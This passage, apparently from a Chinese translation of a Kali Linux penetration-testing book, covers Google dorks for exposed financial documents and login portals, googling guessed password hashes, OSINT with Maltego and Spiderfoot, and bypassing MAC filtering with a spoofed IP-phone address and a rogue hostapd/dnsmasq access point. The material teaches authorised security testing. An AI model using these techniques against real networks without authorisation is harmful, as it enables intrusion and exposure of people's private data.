对于某些高级搜索功能,这与直接将操作符放入搜索框中的效果相同。然而,缩小结果范围到特定的日期范围最好从结果页面进行。首先,输入你的搜索查询,然后点击工具,接着点击任何时间下拉菜单选择自定义范围,如下所示:

图 1.12 – 自定义我的结果日期范围

图 1.12 – 自定义我的结果日期范围

我记得当时需要使用daterange:操作符和朱利安日期。换句话说,2020 年圣诞节是朱利安日2,459,209。相信我,使用图形日历要省心得多。

像黑客一样思考

我曾有很多金融机构作为渗透测试客户。它们的业务性质涉及大量文书工作,因此保持一切井井有条尤其棘手。我们来看看一个可能的 Google 黑客任务,这次是挖掘金融信息。当然,为了满足你的需求,你会使用客户的名字或员工的名字来配合你精确调整的搜索词。

首先,我尝试以下方法:

intitle:"index of" "Parent Directory" ".pdf" "statement"

让我们拆解一下。通过搜索包含Parent Directoryindex of页面,我将能找到通过HTTP**/**S托管的暴露文件目录。我还在寻找任何包含.pdf的文本,这样就能捕捉到托管PDF文件的目录。最后,我希望有人会在文件名中加入statement。如你所料,我们可能会抓到一些误报。但你也可能会发现像这样的东西,我相当确定这并不是打算公开在互联网上的:

图 1.13– 搜索公共目录的结果

图 1.13– 搜索公共目录的结果

看起来有人要去旅行了!这个文件名中没有statement,但旁边的文件有。当我在这些页面上点击父目录时,我会被带到该域名的主页或404页面,这强烈表明这些暴露的目录是意外泄露的。在你的工作中,没有什么比虚假的安全感更能帮你了。在你甚至还没有开始使用 Kali 工具包之前,找到一个员工的护照、税单之类的东西,对客户管理层来说是一个强有力的信息。

网上有很多资源可以帮助你进行巧妙的 Google 搜索。Exploit Databaseexploit-db.com)上的Google Hacking Database是一个极好的查阅地方。我不会重复所有你可以尝试的不同搜索。这里的关键教训是,利用你掌握的任何客户信息,尽量思考这些资源是如何在互联网上展示自己的。例如,我曾有一个客户,我的初步研究表明他们有一个远程桌面门户。用这个搜索该客户的域名很有帮助:

inurl:RDWeb/Pages/en-US/login.aspx

我是怎么想到这个的呢?很简单:我研究了这些设备是如何工作的。找到一个,用浏览器与它交流,并使用客户的信息构建 Google 查询。你有没有考虑过客户的 IT 支持?我们偶尔都需要请求帮助。也许你客户的 IT 员工曾在线寻求过支持。嗯,我不确定,一位乐于助人的同伴回复道,你能上传设备的包转储吗? 接下来的事情你就知道了,客户内部的敏感信息已经被泄露到网上。我见过许多次这样的情况,甚至比我愿意承认的还多。只要寻找这些社区,尝试将 URL 的部分内容与 inurl 结合起来。举个例子,如果你看到客户的名字出现在以下内容中,那么你就能初步判断他们可能使用的安全软件:

inurl:"broadcom.com/enterprisesoftware/communities" 

对于像 OSINT 这样天生有成功与失败不确定性的技能,跳出框框的思维方式是非常重要的。假设你已经尝试了所有能想到的 Google 技巧,寻找不同的供应商和 URL 字符串,但依然没有找到结果。那么,你了解那里工作的人员吗?我曾经有一个客户,她的 IT 管理员在个人邮箱地址中有一个独特的名字。

不久后,我将此与她以前在 Yahoo! 上使用的另一个用户名关联了起来。我用这个用户名尝试了各种搜索组合,结果“砰”的一声——一个针对企业环境中高度特定操作系统的管理员论坛上,出现了一个用户名与她相同的帖子。她足够小心,没有提到她的雇主,这也是为什么之前的常规搜索没有找到我想要的信息。但我还是通过推理连接了线索,确定她确实是在讨论我客户网络中这些主机的配置,后来我甚至能通过这些公开帖子中的信息与独立的发现进行关联。让我找到这些信息的关键,就是她在匿名讨论 IT 工作时使用了一个旧的 Yahoo!** **Messenger 名称。毫无疑问,她对我找到这个感到有些吃惊。在另一次任务中,我从另一个角度开始了搜索——我已经进入了网络并且获得了域控制器的控制。我开始抓取密码哈希,这本身就是一个巨大的发现,对我的报告非常有价值。然而,我想知道如果我将这些哈希值输入 Google 会发生什么。果然,我发现了一个黑客分享战利品的网站,我的客户被攻破了。这是一个额外的信息,有助于增强报告,并帮助他们开始调查这种未经授权的访问是如何发生的。

这里有个想法!

想一想人们是如何创建密码的,生成一些与你猜测相对应的哈希值,然后在谷歌上搜索这些哈希值。通常(也希望如此),你不会找到什么结果。最常见的密码,如12345iloveyou,已经在外面被曝光了,所以要像一个为你的客户工作并住在附近的人那样思考。例如,我在与俄亥俄州的公司合作时了解到的一件事是,俄亥俄州人热爱大学橄榄球。嘿,大多数中西部人都喜欢。我在生成基于Buckeyes这个词的哈希值时,竟然得到了一个令人不安的正面结果。

嘿,订单做好了。拿上你的咖啡和贝果,离开自取餐区,去办公室——我们通过谷歌和智能手机完成了相当多的侦察工作,但现在是时候坐下来,掌握 Kali 的控制权,看看Offensive Security团队是如何将它的工具集带入这个十年的。

深入了解 Kali 中的 OSINT

最后,我们终于来到桌前。Kali Linux 已经在我们玩搜索引擎时耐心等待,现在是时候开始认真工作了。在我们继续使用 Kali 进行 OSINT 之旅时,理解基础知识是很有帮助的。例如,你可能注意到,在玩 Shodan 时,发现有一个 API 可用。你可能还会想,这很酷,但我们能不能自动化操作? 或许,在你玩 Google 搜索时,曾被带有suspicious traffic警告的验证码阻止过。确实,Google 知道他们的搜索引擎可能会被用于不正当的目的,而一些旧版 Google 黑客教材中讨论的方法甚至现在已经不起作用(例如,在搜索4,147,000,000,000,0004,147,999,999,999,999范围内的数字时,你会得不到任何结果,因为那可能会捕捉到Visa卡的泄露信息)。好吧,这是一本 Kali 书籍,而且你有一个完整的 OSINT 工具包。让我们开始工作,把这些开源工具提升到下一个层次。

OSINT 分析工具文件夹

有一个简单的原因,为什么 Kali Linux 是首屈一指的渗透测试发行版:它让一切变得如此简单。所有内容都井然有序,只需右键点击桌面,即可按不同的评估阶段排列。这就像是从婴儿手中夺糖果一样简单。关于 Kali 2021.1 还要提到的一点是,它注重外观的时尚感。如果《黑客帝国》中的 Neo,穿着标志性的风衣和黑色眼镜,是一个操作系统,那么它可能就会有这些外观设置。它看起来很炫,但对于给你打印示例,亲爱的读者,它并没有做太多事情。更不用说,启用透明度的黑色背景上的深蓝色,让我们看到那张透过终端窗口的蓝黑色龙形壁纸了?你好,眼科医生。所以,我已经调整了我的设置,让它在本书中更易于观看。在终端中,我选择了黑底白字并设置为 0% 透明度。你不必更改你的设置——只需要知道它是 Kali 2021.1,并且它应该表现一样。

话不多说,让我们右键点击桌面,找到 OSINT 分析,它是 01 – 信息收集 下的一个文件夹,如下图所示:

图 1.14 – 在 Kali 桌面上右键点击菜单

图 1.14 – 在 Kali 桌面上右键点击菜单

首先,让我们澄清一个区别,使得 OSINT 分析 成为 信息收集 的一个子文件夹。回到章节开头,我们讨论了被动与主动信息收集的区别。看看 01 – 信息收集 下的其他子文件夹:实时主机识别网络和端口扫描仪、各种协议分析文件夹等等。向目标网络发送成千上万的 SYN 数据包,绝对不是一个安静的被动过程,更重要的是,这也不是开源分析,因为 正在实时进行分析——你并没有依赖开源数据源。从目标的角度来看,信息收集阶段就像是听到灌木丛中的沙沙声。OSINT 分析 工具集不会发出任何你的客户可以听到的噪音。

请记住,虽然 Kali 中的大多数工具不在 01 – 信息收集 下,但这并不意味着它们都是嘈杂的,只能在参与的主动阶段使用。一个值得注意的例子是无线分析:所有的 Wi-Fi 工具都包含在 06 – 无线攻击 下,实际上,这些工具可以用于主动攻击。然而,我们并不被限制只能用它们来进行攻击,我们完全可以仅仅监听我们周围的无线电信号(或者像老式的美国公民波段无线电用户说的那样,把耳朵竖起来),这就可以算作是被动侦察。但关于低层次网络信息收集的内容就讲到这里。让我们看看真正的 OSINT 魔术师吧。

转变你的视角 – Maltego

OSINT 不仅仅是为渗透测试人员准备的——它是许多项目的重要组成部分,范围包括市场调研、私人调查和刑事调查。因此,一些聪明的人意识到,提供一个自动化、直观且美观的界面来进行这一活动,是一个有需求的产品。于是,Maltego应运而生。

我记得 Maltego 曾经是一个比较低调的工具,但如今,它已经成为一款成熟的专业产品。的确,如果你有足够的资金,并且它是你工作的一部分,那么它是值得投资的。幸运的是,Maltego 为其忠实用户群体提供了社区版(Maltego** CE)。Maltego CE 是完全免费的,但有一些功能限制,并且软件许可要求它不能用于商业目的。在本书中,我们将重点介绍免费的社区版,因为它对任何 Kali 用户都可以立即使用——但如果你是(或计划成为)一名具有商业需求的专业渗透测试人员,请确保你审阅并遵守任何软件许可协议。话虽如此,接下来我们将进入01 – 信息收集** | OSINT 分析,并点击maltego。你应该会看到以下启动画面:

图 1.15 – Maltego 启动画面

图 1.15 – Maltego 启动画面

当然,我们要点击运行按钮,在Maltego CE(免费版)下进行操作。然后,你将有机会阅读并同意许可协议,并注册你的社区账户。在此过程中,你会看到“转换”一词:产品正在下载和安装转换,最后你会进入转换中心。转换是 Maltego 的核心,所以让我们探索一下它们是什么以及如何利用它们。

实体、转换和图表,哇哦

简单来说,转换是一个小程序,它接收我们已经掌握的一些目标信息(例如,一个人的名字),并挖掘更多信息。每一条信息都是一个实体,当我们将实体信息提供给 Maltego 并且它输出更多的实体时,这个过程叫做运行转换。这个过程最终帮助我们可视化实体之间的关系。需要记住的是,这个转换程序实际上并不运行在你本地的机器上(因此需要注册账户)。它运行在 Maltego 的服务器上,服务器使用转换代码和你提供的实体数据对开放源数据进行处理。最后,你将在图表画布上绘制你的 OSINT 杰作,这是一个可以可视化实体之间关系的工作空间,你可以通过点击操作来运行额外的转换。让我们开始吧。

一旦你开始使用,你应该会看到一个带有首页选项卡、开始页面转换中心按钮的界面,如下所示:

图 1.16 – 相当繁忙的首页选项卡

图 1.16 – 相当繁忙的主页标签

你的安装包已经包含了基础工具,但其他组织或个人通常也会开发自己的转换工具,并可能提供给你。值得检查一下你能获取哪些工具。使用顶部的FILTER框来选择所有数据类别,然后在定价下选择免费。最后,点击顶部的[未安装]。让我们看看有什么出现:

图 1.17 – Maltego 中的 Transform Hub 合作伙伴

图 1.17 – Maltego 中的 Transform Hub 合作伙伴

你选择的内容将取决于你的需求。特别关注像Social Links CE这样的社交工程工具,OCCRP Aleph用于信息收集,以及ATT&CK – MISP用于分析目标的攻击面。目前,让我们通过一个实际客户演示基本操作。按Ctrl + T创建一个新图表。此时会出现一个空白工作区,你的图表将在其中构建。查看左侧的实体调色板,如下所示:

图 1.18 – Maltego 中的实体调色板

图 1.18 – Maltego 中的实体调色板

继续浏览不同的实体。我们可以看到 Maltego 是如何强大地支持不同类型的调查(有人想挖掘一起抢劫案的信息吗?),而其中一些你可能永远不会使用。对于渗透测试者来说,一个非常常见的实体类别是基础设施。作为我的示例,我将点击并拖动到空白图表空间中。这将创建一个带有域名的实体图标。每当你在图表中创建实体时,它会自动生成一个默认条目(不会提示你)。所以,你可以双击默认文本并输入你正在研究的域名。现在,右击你的领域实体,查看可用的转换工具,如下所示:

图 1.19 – 运行转换菜单

图 1.19 – 运行转换菜单

在列表的顶部,你会看到由 Maltego 的转换合作伙伴(其他组织)构建的转换工具。其中一些需要账户或 API 密钥才能运行,而有些是免费的。正如往常一样,你的需求决定了深度。

让我们从我的示例领域实体开始探索。我尝试了To DNS Name – MX(邮件服务器)。以下是我的结果:

图 1.20 – 运行 MX 转换后的图表

图 1.20 – 运行 MX 转换后的图表

现在,我们看到一个新的实体出现了——一个 MX 服务器。从我们原来的领域实体画出了一条箭头,表示两者之间的关系。我相信你已经有了下一步该做什么的想法:没错,再运行一些转换!点击你提供的领域实体。然后,在左下角查看运行视图菜单。试试运行一个足迹转换,如下所示:

图 1.21 – 选择域名实体后找到 Footprint 转换

图 1.21 – 选择域名实体后找到 Footprint 转换

Maltego 会开始为你做一些基本的挖掘工作。Footprint 转换的一个优点是,在它运行时,你可以验证一些返回的数据,如下所示:

图 1.22 – 选择和挑选相关实体

图 1.22 – 选择和挑选相关实体

现在,看看这些新的有趣实体是如何出现的。在我这里展示的测试中,我发现了电子邮件地址、IP 地址、网段和 ASN。我甚至找到了一个卫星天线的位置,它负责他们的一个远程位置——那个位置让我很惊讶。

在这一点上,我甚至不需要告诉你接下来该做什么——你刚刚发现了为你的客户开启了一条漫长且风景如画的探索之路。试着跳进那些其他的转换工具。这里的重要教训,年轻的黑客们,是发现关于目标的视角,这些视角将有助于其他工作的开展。让我们以社会工程学SE)为例。在运行了几个转换工具并稍微调整了我的图表布局后,我发现这家公司的技术邮件地址与多个域名相关联,其中包括我当时刚刚了解到的一些域名:

图 1.23 – 展示不同实体类型及其关系

图 1.23 – 展示不同实体类型及其关系

想象一下,我可以利用这个地址进行哪些 SE 攻击,利用目标可能甚至未意识到与这些实体关联的知识,如 Maltego 所展示的那样。考虑一下我之前提到的那颗卫星天线——我甚至找到了一个与拥有该卫星天线的公司相关的联邦通信委员会FCC)文件。FCC 文件是一个公共通知,因此可以在互联网上轻松找到——但它并不包含关于我的客户的任何信息!它是通过 Maltego 发现的一个 ASN 与我的客户相关联。我们为什么要关心这个?再次强调,社会工程学。一封格式完美的电子邮件或一次恰到好处的电话(顺便说一下,我通过 Maltego 找到了几十个电话号码),假装自己与提供卫星通信的公司有关系?说不定根本不会成功。无论如何——重要的是头脑风暴,而 Maltego 能够激发你的想象力。

使用 Spiderfoot 进行的 OSINT

当然,总得有某种开源替代方案,不必手动在互联网上乱碰吧,你会想。Maltego 很酷,但对我的需求来说有点过于复杂,你会感叹。别担心,因为我把最好的留到了最后:我个人的首选工具,Spiderfoot。你们中的一些人可能已经点击了它,毕竟它就在OSINT 分析菜单里。所做的只是执行spiderfoot --help,你可以在命令窗口中查看选项。我想这是 Kali 提醒我们 Spiderfoot 确实在那里的方式。从这里,你甚至可能执行了spiderfoot --M,这样你就能查看可用的模块,并开始构建第一个命令。我现在就要打住——这个工具的真正亮点是它的网页界面。只需运行这个命令:spiderfoot --l 127.0.0.1:5009。然后,拿出一个网页浏览器,访问http://127.0.0.1:5009。你也可以像我这样通过网络托管它:

图 1.24 – 启动 Spiderfoot 监听器

图 1.24 – 启动 Spiderfoot 监听器

请注意,访问没有经过认证——请自行承担在私人网络上运行的风险。

一旦进入网页界面,点击新建扫描。你将看到三个标签,允许你定义扫描的工作方式:按使用案例按所需数据按模块按模块标签适用于你自定义的模块,或者当你需要微调 Spiderfoot 的行为时,而按所需数据基本上像是模块列表,只不过更加描述性。我的标准选择是其中一个使用案例。注意它如何区分被动选项——非常适合消除关于目标是否被接触的猜测。对于我的评估,我正在进行一个快速足迹扫描:

图 1.25 – Spiderfoot 使用案例

图 1.25 – Spiderfoot 使用案例

只需点击运行扫描,然后坐下来放松。这是喝咖啡的好时机。你还可以实时观看扫描的进度。单个数据点被称为元素,如果你愿意,可以在扫描过程中查看它们。我更喜欢让它完全运行,这样可以建立元素之间的任何关系。状态屏幕将根据发现它们的模块类型对元素进行分类,如下所示:

图 1.26 – Spiderfoot 扫描过程中的状态图

图 1.26 – Spiderfoot 扫描过程中的状态图

最后,对于我们所有人内心的视觉极客,那里还有一个图形布局。每个显示的元素都可以拖动,因此稍加工作,你就可以创建自己的布局,以突出元素之间的关系。然而,对于那些较大的客户,它看起来可能有点乱:

图 1.27 – Spiderfoot 的关系网络

图 1.27 – Spiderfoot 的关系网络

OSINT 数据点及其关系的可视化表示绝对是 Maltego 擅长的方面。不过,Spiderfoot 快速且易于使用,因此它可能非常适合用来启动你的情报收集工作。

总结

在本章中,我们进入了一个既有趣又令人不安的开放源信息(OSINT)世界。我们从仅仅使用我们的网页浏览器开始了旅程:查看目标网站,发送奇怪的请求,看看是否能触发一些有趣的响应来揭示信息,并查看社交媒体和其他公开资源。我们回顾了一些在互联网上扫描并收集这些信息的服务,看看我们是否能在枚举阶段提前有所准备,寻找如不安全的SSL**/**TLS、开放端口,以及一般暴露在网络上的任何内容,这些内容通常需要花费一些时间和探索才能自行发现。我们还看看了如果我们愿意跳出框框,Google 能为我们找到什么,最后,我们打开了 Kali 的副本,看看我们可以使用哪些自动化工具来应用这些原则。当然,这只是任何评估阶段可能非常复杂且令人惊讶地有效的表面,但我们已经开始训练大脑,以一种不同的方式看待客户可能认为理所当然的事物。我们已经踏入了客户信息的水域——接下来,让我们更深入一点。在下一章中,我们将开始探测网络,并感受一下内部人员的视角。

问题

请回答以下问题,测试你对本章内容的理解:

  1. “被动侦察”和“OSINT”之间有什么区别(如果有的话)?

  2. 评估漏洞风险时,两个主要的考虑因素是什么?

  3. 在 Maltego 中,接受一个实体作为输入并输出更多相关实体的程序叫做 ______。

  4. 这条格言表明我们应该始终假设敌人了解系统,这叫做 ______。

  5. 横幅抓取从不被视为渗透测试报告中的发现。(对 | 错)

第二章:绕过网络访问控制

网络是我们想象计算机被黑客攻击时首先考虑的部分。它是渗透测试人员的游乐场。它既是入侵计算机的第一步,也是最终的边界。它还使得单一计算机的妥协实际上成为整栋大楼内所有计算机的妥协。因此,我们继续我们的旅程,讨论如何妥协网络,并利用其自身的力量和弱点来指导渗透测试。

第一步是连接到网络,存在一些人类、架构和协议因素,使得攻击者在网络上的存在可能造成灾难性后果。因此,防御者通常会部署网络访问控制NAC)系统。这些系统的目的是通过识别和认证网络上的设备来检测和/或防止网络入侵。在本章中,我们将回顾 NAC 系统采用的一些方法,并演示绕过这些控制的实用方法。

本章将涵盖以下主题:

  • 通过物理访问绕过 NAC 并克隆授权设备

  • 强制门户方法及其弱点

  • 新设备的政策检查

  • 伪装授权设备的堆栈

技术要求

在继续本章内容之前,以下是必备条件:

  • 在笔记本电脑上安装 Kali Linux

  • 支持 Kali 中混杂模式的 USB 无线网络接口卡——我推荐使用 Alfa 卡

绕过媒体访问控制过滤——物理评估者的考虑事项

攻击者需要了解远程攻击的方法:攻击 VPN、使用高增益天线从远距离进行无线渗透等。然而,渗透测试人员永远不能忘记大局。在这个领域中,很容易陷入极其具体的技术细节,忽视安全设计中的人为因素。

渗透测试人员喜欢称之为 糖果棒模型 的设计缺陷概念。这指的是一种网络,它的外部坚硬且具有防护性,但内部却软弱且易受攻击。换句话说,它是一种在设计安全架构时强调外部威胁的模型,同时假设公司设施内的人员已经经过验证,因此是值得信任的。这个思维方式可以追溯到许多年前;在互联网初期,网络的物理接入点位于高度安全的设施内部。通过网络传入的数据包通常被安全地假定来自一个安全的环境,并由授权个人发送。在今天的世界里,进入公司网络边界的数据包可能来自正在出差的授权人员,也可能来自地球另一端的聪明少年,迫不及待地想尝试一些新学到的技巧。

糖果棒模型将在后面的章节中讨论其他网络攻击时出现。一旦你破解了外壳,你经常会发现前进的道路似乎特别为你铺设 - 一个成功的妥协将告诉你的客户这种错误假设的毁灭性后果。在成功妥协后,随时可以奖励自己一个真正的糖果棒 - 你值得拥有。

如何社会工程你的目标是另一本书的主题,但在这次讨论中,让我们假设你有网络插座的物理访问权限。然而,并非所有的物理访问都是相同的;如果你说服你的目标雇佣你作为全职员工,那么你将拥有持续的物理访问权限。他们甚至会给你一台电脑。然而,更有可能的是你已经利用了他们物理安全立场的一个小漏洞,你的存在可能不会被察觉或者只能被容忍很短的时间。你通过吸引一名毫不知情的员工的谈话后从吸烟者门潜入,或者你已经得到了穿着看起来像承包商制服和夹板的许可,或者(我个人最喜欢的)通过带来一大箱甜甜圈赢得了信任和喜爱,这些人期待着根据一个精心策划的电话来访的审计员。 (我的客户,在测试后仍然震惊,会问甜甜圈是真的吗。)现在,我们将演示如何设置一个 Kali 盒子,将其设置为一个伪造的无线访问点,同时冒充一个媒体访问控制MAC)地址的互联网电话VoIP)电话。

配置 Kali 无线访问点以绕过 MAC 过滤

你找到了一个空置的小隔间,里面有一张空桌子和一个普通的 IP 电话。电话已经插上并且在工作,所以你知道网络插座是激活的。我们将把运行 Kali 的小型笔记本放在这里,然后从外部继续攻击。

首先,我们拔掉 IP 电话,这样我们的坏家伙就可以占用端口。然后我们将在我们的 Kali 盒子的以太网端口上克隆 IP 电话的 MAC 地址。从 NAC 的简单 MAC 地址白名单方法的角度来看,这将看起来像电话仅仅重新启动了。

我使用ifconfig来启动接口配置。在我的例子中,我的以太网端口接口被称为eth0,我的无线接口被称为wlan0。我会记下这一点,因为我需要配置系统在wlan0上运行一个带有动态主机配置协议DHCP)和域名系统DNS)的访问点,同时通过我的eth0接口运行网络地址转换NAT)。我可以使用ifconfig eth0 hw ether来更改eth0接口的物理地址。我已经偷偷看了一眼 IP 电话背面的标签 - MAC 地址是AC:A0:16:23:D8:1A

因此,我先将接口关闭进行更改,然后重新启动接口,最后再次运行 ifconfig 确认接口状态是否已更新为新的物理地址,如 图 2.1 所示:

图 2.1 – 使用新的 MAC 地址启动接口

图 2.1 – 使用新的 MAC 地址启动接口

别忘了使用 Sudo!

在 Kali 中,作为 root 用户运行程序的话题一直存在争议。Linux 使用的基本规则之一是你不应该以 root 身份登录;如果需要 root 权限,请使用 sudo 命令。Kali Linux 以前有所不同,默认要求以 root 身份登录。Kali 设计的初衷是只用于渗透测试,而不是作为个人机器(当然也不是生产服务器)。因此,在本书的第一版中,我们从未使用过 sudo,因为我们始终是以 root 用户身份登录的。这一次,我将切换到一个 root 会话,使用 sudo -s 命令。Offensive Security 的团队保持了他们的幽默感,你会看到一个骷髅图标提醒你拥有超级权限。

Kali 仓库中有两个非常实用的工具:dnsmasqhostapd

  • dnsmasq 是一款轻量级的网络基础设施工具。它是完全免费的,并且用 C 语言编写,是一款便捷的工具,能够快速搭建临时网络,包括 DHCP 和 DNS 转发。在我们的示例中,我们将其用作无线客户端连接到接入点时的 DHCP 和 DNS 服务(当然,这里的无线客户端就是你和你的同事)。

  • hostapdhost access point daemon)顾名思义,是一款接入点软件,可以将普通的无线网络接口变成接入点,甚至可以作为认证服务器。你可以使用以下命令来确认你使用的无线网卡是否支持 AP 模式:

    # iw list |grep "Supported interface modes" -A 8

如果你在结果中看到 AP,那么就可以继续了。我们使用 apt-get install hostapd dnsmasq 来安装这些工具。

如果你遇到 apt-get 问题(例如 找不到软件包),请首先检查你的仓库 sources.list 文件。不要随意向 sources.list 文件添加源;这样做可能会破坏你的 Kali 安装。在我使用的 Kali 2021.1 中,我必须先运行 apt-get update。通常只需要执行一次此命令。

回到我们的 AP 冒险。首先,让我们配置 dnsmasq。使用 nano 命令打开 /etc/dnsmasq.conf 文件。然后,输入以下内容:

图 2.2 – dnsmasq 配置文件

图 2.2 – dnsmasq 配置文件

你可以看到配置文件中的所有内容都已经注释了出来;我强烈建议你坐下来阅读readme文件,以理解该工具的全部功能,特别是为了让你根据实际需要进行精细调校。由于这是一个动手示范,我会保持简单:

  • interface=wlan0:我将接口设置为wlan0,这是 USB 无线网卡所在的位置,该网卡将作为接入点。

  • dhcp-range=10.11.12.2,10.11.12.20,4h:我设置了 DHCP 范围,在新客户端请求分配 IP 地址时,将从该范围分配地址。格式是[底部地址],[顶部地址],[租用时间]。这里的地址范围将分配给新客户端,因此请确保不要与网关地址重叠。你就是网关!

  • dhcp-option=3,10.11.12.1dhcp-option=6,10.11.12.1:DHCP 选项的指定。这不是随意的——这些数字在 RFC 2132 和后续的 RFC 中有明确规定,因此它具有很大的功能。就我们的目的而言,我通过选项3设置网关,通过选项6设置 DNS。在这种情况下,它们是相同的地址,因为我们预计在这样的局域网中会是这样的。注意这个地址:10.11.12.1。这就是网关,按照定义,它将是你的wlan0接口。在启动接入点之前,你将定义这个地址,当你启动无线接口时。

  • server=8.8.8.8:我定义了上游 DNS 服务器;我将其设置为 Google 的 8.8.8.8,但你可以使用其他服务器。

  • log-querieslog-dhcp:我做了一些日志记录,以防我们需要它。

按下 Ctrl + X 并确认文件名以保存它。现在,我们将继续进行hostapd配置。使用nano命令打开 /etc/hostapd/hostapd.conf 文件。请记住,这个文件本来不存在,但hostapd会知道使用我们在这里创建的文件:

图 2.3 – 为 hostapd 配置接入点

图 2.3 – 为 hostapd 配置接入点

再次提醒,这是一个功能强大的工具,因此请查看readme文件,以便你能充分理解它能做的一切。你可以使用这个软件创建一个相当复杂的接入点,但我们在这个示例中会保持简单:

  • interface=wlan0:我将接口设置为wlan0,当然。

  • driver=nl80211:我定义了无线驱动程序;这是nl80211,它是cfg80211和用户空间之间的接口,允许管理设备。

  • ssid=NotABadGuy:这是我们的服务集标识符——我们网络的名称。我使用NotABadGuy是因为我想向世界证明我真的是个好人,但当然,你可以根据自己的需要进行调整。在这里有一点社交工程潜力,可以减少那些随意扫描环境的人的怀疑。

  • hw_mode=g:这是 802.11 调制标准;bgn 是常见的标准。

  • channel=2:我在这里定义了频道,但你可以配置它根据调查自动选择频道。

  • macaddr_acl=0:这是一个布尔标志,告诉hostapd我们是否使用基于 MAC 的访问控制列表。你需要决定这是否是你所需的功能。在我的示例中,我已经配置了加密,而且我喜欢在我的设备上使用随机生成的 MAC 地址,所以我不想处理 MAC 地址的白名单问题。

  • max_num_sta=1:这是一种限制无线客户端数量的方法——这是允许加入的最大客户端数量。我在这里将其设置为1,因为我只期望我自己加入,但你可以省略这个选项。

  • ignore_broadcast_ssid=0:这个选项简单地让你隐藏网络。它的实际作用是让你的接入点忽略那些没有指定 SSID 的探测请求帧,因此它会将你的网络从主动扫描中隐藏,但你永远不应认为一个功能正常的接入点是完全隐藏的。我想在我的示例中看到它,所以我将其设置为0

  • 剩下的选项允许我配置 WPA2 加密。

信不信由你,这些就是我们快速搭建接入点以连接物理网络的基础。现在,我将启动wlan0接口,并指定我之前定义的网关地址。接着,我启动dnsmasq并告诉它使用我的配置文件。我们启用 IP 转发,告诉 Kali 作为路由器工作,并使用sysctl。我们通过iptables允许流量通过并启用 NAT 功能。最后,我们启动带有配置文件的hostapd

我们将再次查看iptables,所以不用担心这里的细节。

当无线客户端连接到这个网络时,他们将通过eth0访问公司网络;对于 MAC 过滤器来说,来自该端口的流量看起来像是来自 Cisco IP 电话:

图 2.4 – 使用 iptables 配置路由以使我们的接入点工作

图 2.4 – 使用 iptables 配置路由以使我们的接入点工作

正如你无疑注意到的,这是一个非常有用的设置。让你的设备作为热点工作可以非常宝贵,而且由于 Kali 能够在如此广泛的硬件上运行,唯一的限制就是你的想象力。

设计缺陷 – 利用弱认证机制

在 NAC 中,认证是关键。在我们的第一个攻击场景中,我们看到网络通过 MAC 地址白名单验证设备是否被允许。原理很简单——当设备加入网络时,会检查允许设备的列表。许多人,甚至是行业外的人,都对 MAC 过滤有一定了解,这项技术常常在 SOHO 无线路由器中实施。然而,你可能会惊讶地发现,在高度安全的环境中,VoIP 电话伪装攻击是多么有效。

这是网络安全基础知识 – MAC 地址非常容易伪造,当你声称自己是某个特定的值时,网络会信任你。我曾经有客户详细描述他们先进的 NAC 的各种功能,然而当我向他们展示我通过伪装成会议室电话来访问他们的服务器环境时,他们都显得非常困惑。测试这种绕过方法非常重要;并不是所有客户都意识到这些简单的威胁。

现在我们将探讨一种能够在雷达下悄无声息地进行的攻击:利用初始受限网络中的认证通信。在本节中,我们将使用 Wireshark 进行快速且简便的数据包分析;关于 Wireshark 的更高级讨论将在第三章中进行,嗅探与欺骗

捕获清晰的登录门户认证对话

说到即使是非安全领域的人也会有所了解的安全机制,登录门户(captive portals)是常见的网络访问控制(NAC)策略。当你在酒店或飞机上尝试连接网络时,你会遇到这种“墙”,无论你试图访问什么,都会被引导到一个专门配置的登录页面。你会从管理员那里获得凭据,或者提交支付–无论哪种方式,认证通过后,登录门户将通过某种方式授予访问权限(常见的一种方式是简单网络管理协议SNMP)认证后管理)。

我知道你心中的黑客在说什么:当未认证的客户端尝试发送 HTTP 请求时,它们会被 301 重定向到登录门户认证页面,所以这不过是一个本地托管的网页罢了。它可能会受到普通的网络攻击。 干得好,我简直无法说得更好了。但别急着启动sslstrip;如果你知道未加密的认证其实相当普遍,你会感到惊讶吗?我们将来看一个例子:我家中为访客提供互联网访问的登录门户。这不是一种普通的家用路由器自带的登录门户功能;这是一台运行 pfSense 防火墙的专用服务器。

这在一些企业中得到了应用,所以相信我,作为渗透测试人员,你会在冒险过程中遇到类似的情况。我不认为你会在客户的登录门户中看到我的猫,但谁知道呢,还是不能太确定。

图 2.5 – 一台由 pfSense 驱动的登录门户,守卫着我的猫

图 2.5 – 一台由 pfSense 驱动的登录门户,守卫着我的猫

这里我们看到的是用户加入网络后立即看到的登录门户。我想玩得开心一点,于是自己写了 HTML 代码(那个坏猫的双关语是我妻子的创意)。不过,它的功能和你在使用这种 NAC 方法的公司中看到的一模一样。

让我们坐进 Kali 的驾驶座。我们已经建立了与该网络的连接,并且立即被置于受限区。启动终端,并以超级用户身份启动 Wireshark:

图 2.6 – 使用 Wireshark 捕获交换网络上的流量

图 2.6 – 使用 Wireshark 捕获交换网络上的流量

即使我们的网卡处于混杂模式,这里也没有太多的活动。这看起来像是我们正在处理一个交换式网络,所以我们无法看到受害者与网关之间的广播流量。但仔细看看高亮的数据包:它正在广播到 255.255.255.255 —— 零网络的广播地址(也就是我们所在的网络)。我们可以看到它是一个 DHCP 请求。因此,我们的受害者正在加入网络,IP 地址未知,稍后会认证到门户。虽然受害者并不是目标,但我们会在 DHCP Ack 数据包中找到 IP 地址分配:

图 2.7 – 使用 Wireshark 检查 DHCP 数据包

图 2.7 – 使用 Wireshark 检查 DHCP 数据包

Wireshark 很贴心地将十六进制转换为易于理解的 IP 地址:192.168.80.71。我们处在一个交换式局域网(LAN)中,所以受害者的 HTTP 认证直接发送到网关,对吧?是的,没错,但这里的关键词是 LAN。

针对网络的第二层攻击

网络协议栈的最低层是链路层,这是局域网段上相邻主机的领域。链路层通信协议不会通过路由器离开网络,因此在攻击 LAN 时,了解这些协议及其弱点非常重要。当你加入一个局域网,甚至是一个受限的局域网(不在受保护网络中),你与该段上任何其他设备共享这个空间:捕获门户主机本身、等待认证的其他客户端,甚至在某些情况下,与已认证的客户端共享。

LAN 这个未经限定的术语并不意味着 LAN 中的所有成员都处于同一个广播域,也叫做 第二层段。在这里,我们讨论的是共享相同链路层环境的主机,因为所描述的攻击在私有 VLAN 中不起作用。

